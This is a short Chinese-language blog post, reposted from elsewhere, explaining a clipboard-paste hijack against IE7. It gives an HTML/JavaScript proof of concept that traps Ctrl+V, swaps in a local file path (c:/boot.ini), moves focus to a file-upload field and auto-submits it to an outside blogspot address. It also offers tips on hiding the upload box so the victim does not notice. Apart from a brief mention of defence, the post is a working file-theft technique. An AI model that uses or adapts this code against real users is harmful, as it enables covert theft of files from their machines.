2009年10月19日 星期一

Javascript Paste Keyboard Shortcuts Hijack

這樣的攻擊手段也算是極其無恥 猥瑣之極! 所以防禦措施一定要做好

首先說一下通過Javascript Paste Keyboard Shortcuts Hijack能做什麼???能夠讀取你本地機器任何文件! 沒錯!也就是說 你中了任何一個XSS 加上你按了粘貼快捷鍵後,你就有可能被別人讀取你機上任何的文件!

那到底是什麼回事呢? OK 我慢慢來說

首先 我們知道JS是無權限獲讀取你本地任何文件的... 那麼我們必須要讓用戶上傳自己的文件!

怎麼讓用戶上傳呢? 很簡單! 通過 <input type=file > 這樣就能讓用戶上傳文件了!

現在又一個問題是, input 為file的時候 value的值 不能用代碼set進去!必須要讓用戶自己填寫! 必須要通過人機交互!

其實說到這裡!聰明的你大致也應該明白怎麼回事! 接著說! 用戶不可能把自己的文件填寫上去提交給你看的吧?

沒錯~ 那麼 就等待用戶 進行快捷鍵粘貼的時候 哈哈~~說說步驟

1. 判斷是否 進行 ctrl + v

2. 替換粘貼板

3. 光標切換到 文件上傳

4. 善後工作就交給你了 ( 例如如何把上傳textbox透明化,當前頁面不會因表單提交而跳轉 )

IE7 下的 POC :
<HTML>
 <HEAD>
  <TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
 </HEAD>

<body   onkeydown="temp()">
<input>
<form action="http://learnns.blogspot.com/" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
    if(event.ctrlKey){
        if(event.keyCode==86){
            window.clipboardData.setData("text","c:/boot.ini");
            document.getElementById('kj_filehijack').focus();
            document.s.submit();
        }
    }
}
</script>

</BODY>
</HTML>


註: 本文轉載自網路 非原創
轉載自 QuantumIntelligence 原文